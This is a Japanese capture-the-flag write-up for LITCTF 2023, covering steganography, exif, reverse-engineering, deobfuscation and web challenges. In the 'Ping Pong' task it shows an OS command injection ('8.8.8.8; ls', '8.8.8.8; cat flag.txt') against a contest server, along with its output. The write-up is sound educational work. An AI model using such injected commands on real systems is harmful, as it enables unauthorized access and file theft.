この大会は2023/8/6 0:00(JST)~2023/8/8 13:00(JST)に開催されました。
今回もチームで参戦。結果は1808点で641チーム中80位でした。
自分で解けた問題をWriteupとして書いておきます。
HelloWorld (misc)
https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでROT13にかける。
LITCTF{W3lc0m3_T0_L1TCTF}
kevin (misc)
リンクされているhttp://litctf.org:31788/assets/keevin-af912594.jpegをダウンロードする。
$ zsteg keevin-af912594.jpeg imagedata .. file: MIPSEB Ucode b1,rgb,lsb,xy .. text: "LITCTF{3d_printing_is_cool}" b1,rgba,lsb,xy .. text: "=Y5__[}S" b2,b,msb,xy .. text: "\\F$cFnC&" b3,b,msb,xy .. text: "5NWatw@U" b3,bgr,lsb,xy .. text: "_D4G6.8,_U" b4,r,lsb,xy .. text: "\"\rD3\"#t$Q" b4,g,lsb,xy .. text: "WvT5yUUgxi" b4,b,lsb,xy .. text: "EC#XD3DC" b4,b,msb,xy .. text: "w{@b*={[a"
LITCTF{3d_printing_is_cool}
amogus (misc)
リンクされているhttps://i.ibb.co/02ZcbJm/testing.jpgをダウンロードする。
$ exiftool testing.jpg ExifTool Version Number : 12.57 File Name : testing.jpg Directory : . File Size : 176 kB File Modification Date/Time : 2023:08:06 08:18:30+09:00 File Access Date/Time : 2023:08:06 08:19:51+09:00 File Inode Change Date/Time : 2023:08:06 08:18:30+09:00 File Permissions : -rwxrwx--- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 X Resolution : 1 Y Resolution : 1 Exif Byte Order : Big-endian (Motorola, MM) Make : s0m3t1m3s_th1ngs_4re_n0t_4lw4ys_wh4t_th3y_s33m Resolution Unit : None Y Cb Cr Positioning : Centered Image Width : 2560 Image Height : 1440 Encoding Process : Progressive DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 2560x1440 Megapixels : 3.7
Makeにフラグが設定されている。
LITCTF{s0m3t1m3s_th1ngs_4re_n0t_4lw4ys_wh4t_th3y_s33m}
Blank and Empty (misc)
https://www.dcode.fr/whitespace-languageでデコードする。
h1d1ng_1n_pl41n_s1ght
LITCTF{h1d1ng_1n_pl41n_s1ght}
rick (rev)
Ghidraでデコンパイルする。
void main(void) { char cVar1; int iVar2; size_t sVar3; long in_FS_OFFSET; int local_9c; char local_98 [44]; undefined local_6c; char acStack_69 [73]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); puts("wat is flag"); __isoc99_scanf(&DAT_00402010,acStack_69 + 1); local_9c = 0; while( true ) { sVar3 = strlen(acStack_69 + 1); if (sVar3 <= (ulong)(long)(local_9c * 2)) break; cVar1 = acStack_69[(long)local_9c + 1]; sVar3 = strlen(acStack_69 + 1); acStack_69[(long)local_9c + 1] = acStack_69[sVar3 - (long)local_9c]; sVar3 = strlen(acStack_69 + 1); acStack_69[sVar3 - (long)local_9c] = cVar1; local_9c = local_9c + 1; } memcpy(local_98,rick + 0x14785,0x2c); local_6c = 0; iVar2 = strcmp(acStack_69 + 1,local_98); if (iVar2 == 0) { puts("ur right"); } else { puts("ur wrong"); } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } s_}1l0rkc1r_7xen_3ht_3k4m_4nn0g_7p_00418805 XREF[1,2]: Entry Point(*), main:004012b3(*), rick main:004012c6(*) 00404080 0a 28 56 ds "\n(Verse 1)\nUwU, we're on an owo adventure t 65 72 73 65 20 31 // // .bss // SHT_NOBITS [0x430081 - 0x430087] // ram:00430081-ram:00430087 // _edata XREF[4]: Entry Point(*), __bss_start __do_global_dtors_aux:004011a4(R completed.8061 __do_global_dtors_aux:004011b6(W _elfSectionHeaders::00000690(*) 00430081 undefined1 ??
指定のオフセットにあるデータを逆順にすればよい。
#!/usr/bin/env python3 with open('rick', 'rb') as f: data = f.read() base = 0x3080 + 0x14785 flag = b'' for i in range(0x2c): flag += bytes([data[base + i]]) flag = flag[::-1].decode() print(flag)
LITCTF{ch4tgp7_g0nn4_m4k3_th3_nex7_r1ckr0l1}
obfuscation (rev)
trustの内容を表示させるのに必要な情報をスクリプトに入れ、base64デコードしてコードを表示する。
#!/usr/bin/env python3 from base64 import b64decode import codecs love = 'coaDhVvxXpUWcoaDbVyOlMKAmVRA0pzjeDlO0olOkqJy0YvVcPtc0pax6PvNtVPO3nTyfMFOHpaIyBtbtVPNtVPNtVUImMKWsnJ5jqKDtCFOcoaO1qPtvHTkyLKAyVTIhqTIlVUyiqKVtpTSmp3qipzD6VPVcPvNtVPNtVPNtpUWcoaDbVxkiLJEcozphYv4vXD' god = 'ogICAgICAgIHNsZWVwKDAuNSkKICAgICAgICBwcmludCgiQnVzeSBiYW1ib296bGluZyBzb21lIHNwYW0uLi4iKQogICAgICAgIHNsZWVwKDIpCiAgICAgICAgaWYgdXNlcl9pbnB1dCA9PSBwYXNzd2Q6CiAgICAgICAgICAgIHByaW50KCJOaWNlIG9uZSEiK' magic = 'ZnJvbSB0aW1lIGltcG9ydCBzbGVlcAoKZmxhZyA9ICJMSVRDVEZ7ZzAwZF9qMGJfdXJfZDFkXzF0fSIKcGFzc3dkID0gInRoaXMgaXMgbm90IGl0LCBidXQgcGxlYXNlIHRyeSBhZ2FpbiEiCgpwcmludCgiV2VsY29tZSB0byB0aGUgZmxhZyBhY2Nlc3MgcG9' destiny = 'DbtVPNtVPNtVPNtVPOjpzyhqPuzoTSaXDbtVPNtVPNtVTIfp2H6PvNtVPNtVPNtVPNtVUOlnJ50XPWCo3OmYvVcPvNtVPNtVPNtVPNtVUOlnJ50XPWHpaxtLJqunJ4hVvxXMKuwMKO0VRgyrJWiLKWxFJ50MKWlqKO0BtbtVPNtpUWcoaDbVxW5MFRtBv0cVvx=' joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') code = b64decode(trust).decode() print(code)
実行結果は以下の通り。
from time import sleep flag = "LITCTF{g00d_j0b_ur_d1d_1t}" passwd = "this is not it, but please try again!" print("Welcome to the flag access point.") print("Press Ctrl+C to quit.") try: while True: user_input = input("Please enter your password: ") print("Loading...") sleep(0.5) print("Busy bamboozling some spam...") sleep(2) if user_input == passwd: print("Nice one!") print(flag) else: print("Oops.") print("Try again.") except KeyboardInterrupt: print("Bye! :-)")
LITCTF{g00d_j0b_ur_d1d_1t}
My boss left (web)
コードからPasswordに以下を指定してログインすればよいことがわかる。
dGhpcyBpcyBzb21lIGdpYmJlcmlzaCB0ZXh0IHBhc3N3b3Jk
ログインすると、フラグが表示された。
LITCTF{oOps_sh0uld_h4v3_us3d_str1ct_c0mp4r1sons}
unsecure (web)
http://litctf.org:31776/welcomeにアクセスすると、ログインページへのリンクがある。問題文にある、クレデンシャル情報でログインする。
$ curl http://litctf.org:31776/login -d 'username=admin&password=password123' <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/there_might_be_a_flag_here">/there_might_be_a_flag_here</a>. If not, click the link. $ curl http://litctf.org:31776/there_might_be_a_flag_here <!DOCTYPE HTML> <html> <head> <meta http-equiv="refresh" content="0; url=/ornot"> </head> </html> $ curl http://litctf.org:31776/ornot <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/0k4y_m4yb3_1_l13d">/0k4y_m4yb3_1_l13d</a>. If not, click the link. $ curl http://litctf.org:31776/0k4y_m4yb3_1_l13d <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/unsecure">/unsecure</a>. If not, click the link. $ curl http://litctf.org:31776/unsecure <!DOCTYPE HTML> <html> <head> <meta http-equiv="refresh" content="0; url=https://en.wikipedia.org/wiki/URL_redirection"> </head> </html>
URLのパスにあったリート文字がフラグだった。
LITCTF{0k4y_m4yb3_1_l13d}
Ping Pong (web)
OSコマンドインジェクション。
8.8.8.8; ls と入力してみると、以下の結果。
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=119 time=1.16 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=119 time=0.812 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=119 time=0.811 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2024ms rtt min/avg/max/mdev = 0.811/0.928/1.161/0.164 ms flag.txt pingpong.py run.sh templates
8.8.8.8; cat flag.txtと入力してみると、以下の結果。
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=119 time=1.11 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=119 time=0.817 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=119 time=0.844 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2011ms rtt min/avg/max/mdev = 0.817/0.923/1.109/0.131 ms LITCTF{I_sh0uld_b3_m0r3_c4r3ful}
LITCTF{I_sh0uld_b3_m0r3_c4r3ful}
Survey (misc)
アンケートに答えたら、フラグが表示された。
LITCTF{Th4nk5_for_c0m1ng_w3_l0v3_y0u_4nd_s33_u_n3xt_year!}